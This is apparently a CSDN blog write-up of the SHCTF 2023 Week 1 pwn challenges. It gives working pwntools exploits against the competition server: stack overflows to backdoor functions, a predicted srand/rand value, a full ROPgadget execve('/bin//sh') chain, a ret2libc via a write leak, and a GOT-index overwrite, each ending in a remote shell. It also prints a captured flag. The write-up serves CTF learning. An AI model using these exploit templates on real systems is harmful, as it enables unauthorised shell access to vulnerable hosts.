SHCTF 2023 [WEEK 1] PWN

最新推荐文章于 2024-07-12 15:53:09 发布
最新推荐文章于 2024-07-12 15:53:09 发布
阅读量499 收藏 2
点赞数 8
分类专栏： PWN 文章标签： 网络安全 安全 linux
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/Xzzzz911/article/details/134118739
版权

简介：

        SHCTF-"山河"网络安全技能挑战赛 是由齐鲁工业大学、西安邮电大学、广东海洋大学、长春工程学院、郑州轻工业大学、河南大学、齐鲁师范学院、陕西邮电职业技术学院、陕西工业职业技术学院、商丘师范学院、咸阳师范学院 (排名不分先后)等十所高校共同举办的 CTF比赛，        完结撒花！！！

这次比赛收获很大，新生赛往往会让你收获意想不到的知识点，挺好的，人民的好比赛，支持支持，明年再来 -_-   ，接下来会把比赛分周分享记录下来

nc

签到题，直接nc就完事了

hard nc

签到题，考察隐藏文件的查询（ ls -a ），然后就是base64解码，flag{636a6981-8e07-42ea-aa5e-bcd2bfb11441}

四则计算器

ida反汇编一下，代码审计发现出现了栈溢出，并且还有一个后门函数，想法就是先绕过 if 语句，再调用后门函数，获得shell

exp如下：

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#p =process("./111")
p =remote('112.6.51.212',32837)
elf =ELF('./111')

backdoor =0x4015E4

payload =b'\x00' +b'A'*(0x32 +7) +p64(backdoor) 

p.sendline(payload)
p.interactive()

或者，也可以通过nop滑梯来解决，exp如下：

from pwn import *
context(os='linux', arch='amd64', log_level='debug')

#p =process("./111")
p =remote('112.6.51.212',30541)
elf =ELF('./111')

backdoor =0x4015E4

payload =b'\x00'*0x32 +p64(0) +p64(backdoor) 

p.sendline(payload)
p.interactive()

猜数游戏

ida反汇编，代码审计发现有个后门函数 fun11 ，想办法调用后门函数，首先先得绕过 if 函数，输入小于等于11的就行，然后就是想办法跳出while循环，这就需要看 compare 函数，若s与v6相等，则跳出循环，然后就要看到int_num_to_ascii 函数（该函数主要功能是将一个整数转换为ASCII字符数组）将一个随机数转化为ascll码值赋值给v6，并且s是用户输入的值，就可以输入随机数让其等于v6，这样就可以获得shell了，直接干就完事了

主要还得认真理清代码中的逻辑，这样才好解决问题，exp如下：

from pwn import *
from ctypes import *
context(os='linux', arch='amd64', log_level='debug')

#p =process("./111")
p =remote('112.6.51.212',32854)
elf =ELF('./111')
libc =cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

libc.srand(libc.time(0))
num =str(libc.rand())

p.sendlineafter('how many digit you think about this number?\n',str(11))   #str(-2147483648)
p.sendline(num)

p.interactive()

ropchain

查看一下保护机制，64位打开了canary和NX，然后还是个静态链接的程序

ida反汇编，观察了一下，你会发现只有read这里发生了溢出，然后又是静态链接，可以直接用ROPgadget去寻找rop执行流（不懂可看这里PWN PWN PWN !!! 技巧 (2)）

ROPgadget --binary 文件名 --ropchain

这样的话就可以直接构造payload了，exp如下：

from pwn import *
from struct import pack
context.log_level = 'debug'
#context(os = 'linux', arch = 'amd64')
#io =process('./111')
io =remote('112.6.51.212',30578)
elf =ELF('./111')

p = b''

p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x0000000000419a1c) # pop rax ; ret
p += b'/bin//sh'
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x000000000041ac41) # mov qword ptr [rsi], rax ; ret
p += pack('<Q', 0x0000000000401d1d) # pop rdi ; ret
p += pack('<Q', 0x000000000049d0c0) # @ .data
p += pack('<Q', 0x000000000040a30d) # pop rsi ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000401858) # pop rdx ; ret
p += pack('<Q', 0x000000000049d0c8) # @ .data + 8
p += pack('<Q', 0x0000000000417e25) # xor rax, rax ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000450860) # add rax, 1 ; ret
p += pack('<Q', 0x0000000000401243) # syscall


payload =b'A'*(0x20 +8) + p

io.sendline(payload)
io.interactive()

口算题

babystack

查看一下保护机制，64位打开了NX

ida反汇编一下，代码审计你会发现没有binsh和system，就发生了一个栈溢出，你就可以想到是需要用ret2libc的方法来解决，这题是通过 write 函数来泄露 libc （不懂的可以看这里，可以套用模板PWN PWN PWN !!! 技巧 (1)）这里就不多讲了

exp如下：

from pwn import *
from LibcSearcher import *
context.log_level="debug"

#p =process('./111')
p =remote('112.6.51.212',31645)
elf=ELF('./111')
libc = ELF('./libc6_2.23-0ubuntu11.3_amd64.so')

main_addr =0x400718
write_plt =elf.plt['write']
write_got =elf.got['write']
ret_addr =0x400581
rdi_addr =0x400833
pop_rsi_r15 =0x400831

payload =b'a' * (0x20+8) + p64(rdi_addr) +p64(1)+p64(pop_rsi_r15)+p64(write_got)+p64(0) +p64(write_plt)+ p64(main_addr)
p.sendline(payload)

write_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
print(hex(write_addr))

libc_base = write_addr - libc.sym['write']
sys_addr = libc_base + libc.sym['system']
bin_sh = libc_base +  next(libc.search(b"/bin/sh\x00"))

payload =b'a' * (0x20+8)  +p64(rdi_addr) + p64(bin_sh) +p64(sys_addr)

p.sendline(payload)
p.interactive()

showshowway

查看一下保护机制，64位程序打开了NX

ida反汇编一下，代码审计你会发现gets函数造成了溢出，并且需要让 y 等于 p，就可以直接绕过if1语句，执行后门函数，接下来就是该怎么构造payload（s与y相距了0x40个字节，意思就是输入0x40个字节的数据就可以覆盖到 y ,然后再修改其内容，使其与p相等就可以了）这里需要认真思考，记录一下

exp如下：

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

#p =process('./111')
p =remote('112.6.51.212',30218)
elf=ELF('./111')

payload = b'a'*0x40 +b'showshowway\x00'

p.sendline(payload)
p.interactive()

pkmon

查看一下保护机制，64位程序只打开了NX

ida反汇编一下，发现有个后门函数，并且发现可以利用puts的got表地址来执行后门函数，从而获得shell

所以我们需要找到找到puts的got表地址，从而求出v1的值，这样就可以打通了

exp如下：

from pwn import *
context(arch='amd64',os='linux',log_level='debug')

#p =process('./111')
p =remote('112.6.51.212',30452)
elf=ELF('./111')

got_addr =elf.got['puts']
backdoor = 0x40072B

payload =b'-17' +p64(backdoor)

p.sendline(payload)
p.interactive()

总结：

这次比赛收获挺多的，大部分题目都是需要通过自己分析代码来解决问题，非常考验代码审计的能力，能力还得慢慢提升，加油！！！

Xzzzz911
关注
  • 8
    点赞
  • 踩
  • 2
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
专栏目录
SHCTF 2023 [WEEK 2] PWN
Xzzzz911的博客
11-01 509
第二周对比第一周难度提高了些，开始要熟悉做pwn的技巧手法了，有些东西不是很好理解，其他佬的WP也没有详细的解释，都默认是常识，弄得我云里雾里，还得多做题目，自己总结，加油加油！！！
SHCTF-2017：crackme
weixin_30815469的博客
06-17 557
下载附件，附件为exe的可执行文件，第一步查壳。 发现为nsPack壳，可采用脱壳机或者手动脱壳的方式进行脱壳。 在此采用手动脱壳的方式，增加自己对脱壳流程的理解，并熟练相关操作。 ESP定律脱壳 将程序拖入OD 发现pushfd和pushad两句关键句。 F8单步执行到call语句，ESP变化，在ESP上右键，添加断点。 F9执行程序 执行到popf...
SHCTF-校外赛道
m0_73728268的博客
11-08 499
（本地资料已经保存）https://www.cnblogs.com/zzjdbk/p/13491028.html。
SHCTF2023 山河CTF Reverse方向week2全WP【详解】
Sciurdae的博客
10-29 790
这里为什么呢，因为这里关于迷宫的数据放在数组里，是以一维数组的形式出现的，如果将一维数组分为 8 * 8的 二维数组 那 -8和+8不就是向上或向下移动 ， 如果再将 8 * 8扩展到 8 * 8 * 8 的地步， 那么加 64也就是到下一个 迷宫去了。的时候用的这道题的附件，交了好久的flag一直是错误的，当时真的一点自己做过这题的记忆都没有 奇怪。sudu函数里面的内容，是一个 9 * 9 的数独表，大致意思是如果map索引位置为真，我们的输入就是0，如果为假的话，就将我们的数字填入。
攻防世界WP-reverse-SHCTF-2017-crackme
wallacegen的博客
04-11 510
SHCTF-2017-crackme1.查壳2.用OD脱壳3.找到算法4.写解密程序总结 1.查壳 发现是nsPack壳，这个脱壳的原理我不是很清楚，照着网上一步步做就成功了，具体细节以后再研究。 2.用OD脱壳 网上说的ESP定律什么的，下硬件断点，F5，来到这里 这个地方有点没搞清楚的是，OEP为什么在第一个JMP之后，也就是图中00401336的位置。注意，下面的操作是错误的，我开始看到了p...
安恒杯pwn1
04-25
"安恒杯pwn1" 本文主要讨论的是安恒杯pwn1题目的解决方法。该题目是一个Pwn题目，利用了strcpy函数的栈溢出漏洞来获取shell。 首先，我们需要了解题目的基本信息。题目中提供了一个可执行文件pwn1，运行起来后显示...
pwn1 一道pwn练习题
05-07
pwn练习题
ret2libc1pwn 入门题
02-11
pwn 入门题
Pwn入门指北1
08-03
1. 各大主流平台汇编语言，例如x86与arm 2. C语言 5. 计算机组成原理 6. 计算机操作系统 7. 编译原理 1 . 关于环境 2 . 面向萌新的一
赣网杯2021_pwn1.rar
12-11
赣网杯2021 pwn1 bin ctf
gentos 执行sh文件_CTFweb类型（十九）15位、7位可控字符下的任意命令执行
weixin_39625586的博客
11-04 265
点击上方蓝色字体，关注我们某些特殊情况下命令执行的Getshell中对应某个函数的内容可控，可控字符长度分为长可控和短可控。我们先来看15个字符可控。条件：get方式传值，能够传的最大字符串数是14个，传shell_exec思路：如果要getshell，相当于我们在里面写进去一个文件。这个文件是来自于我们服务器发给目标服务器，或者说是除我们之外的其它服务器在带给目标服务器的。如果是从其...
CTF训练 SSH私钥泄露
梁辰兴的博客
10-15 776
SSH 为 Secure Shell 的缩写，由 IETF 的网络小组（Network Working Group）所制定；SSH 为建立在应用层基础上的安全协议。SSH 是较可靠，专为远程登录会话和其他网络服务提供安全性的协议。利用 SSH 协议可以有效防止远程管理过程中的信息泄露问题。SSH最初是UNIX系统上的一个程序，后来又迅速扩展到其他操作平台。SSH在正确使用时可弥补网络中的漏洞。SSH客户端适用于多种平台。
SHCTF 2023 新生赛 Web 题解
m0_63138919的博客
10-30 1389
本文为SHCTF 2023新生赛的Web全部题解 供大家学习参考 有问题可以指出
[XCTF-Reverse] 41-44
weixin_52640415的博客
03-21 285
42，梅津美治郎 ida打开，没有啥保护很容易就过一第关，但第2关入口看不到，有个特殊的函数 strcpy(v8, "r0b0RUlez!"); dword_40AD94 = (int)&v9; dword_40ADA0 = (int)&v49; dword_40AD8C = (char *)&v40; dword_40AD90 = (char *)&v31; dword_40AD98 = (int)&v28; lpProcName
SHCTF(山河）赛事部分Write up-白猫
m0_73734159的博客
10-30 812
2023SHCTF（山河）赛事部分Write up-白猫
超级小白，几道简单的ctf
cried_cat的博客
05-11 5521
转]汉字 ASCII码 由浏览器的实现url编码实现 (2012-08-16 11:14:56)转载▼标签： 杂谈 用alt+数字能打出一个字或一个字符，这个数字就是ascii码。 ascii码可以根据http编码算出，比如说我要查“我爱你”这三个字的ascii码，首先要知道他们的http编码，进入百度贴吧，输入“我爱你”， 点击搜索，地址栏会出现一串很长的地址，为了简化这个地址，点击左上角主题列...
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8333
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
移动互联安全扩展要求测评项
hakksjss的博客
07-10 1142
应为无线接入设备的安装选择合理位置，避免过度覆盖和电磁干扰。无线接入设备的安装位置选择不当，易被攻击者利用，特别是攻击者会通过无线信号过度覆盖的弱点进行无线渗透攻击，因此要选择合理的位置安装无线接入设备。
车载视频监控管理方案：无人驾驶出租车安全出行的保障
最新发布
TSINGSEE青犀视频官方技术博客
07-12 724
为了确保数据的安全性和可靠性，本方案采用云存储技术，将车辆视频数据和相关信息存储在云端。
2023 羊城杯 pwn
01-02
2023年的羊城杯pwn比赛将是一场精彩的技术对决。作为网络安全领域的顶尖比赛之一，羊城杯吸引了来自全球各地的顶尖选手参与。比赛将涉及各种pwn技术，包括堆溢出、格式化字符串漏洞、内存泄露等。参赛选手需要展示出...

“相关推荐”对你有帮助么？

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值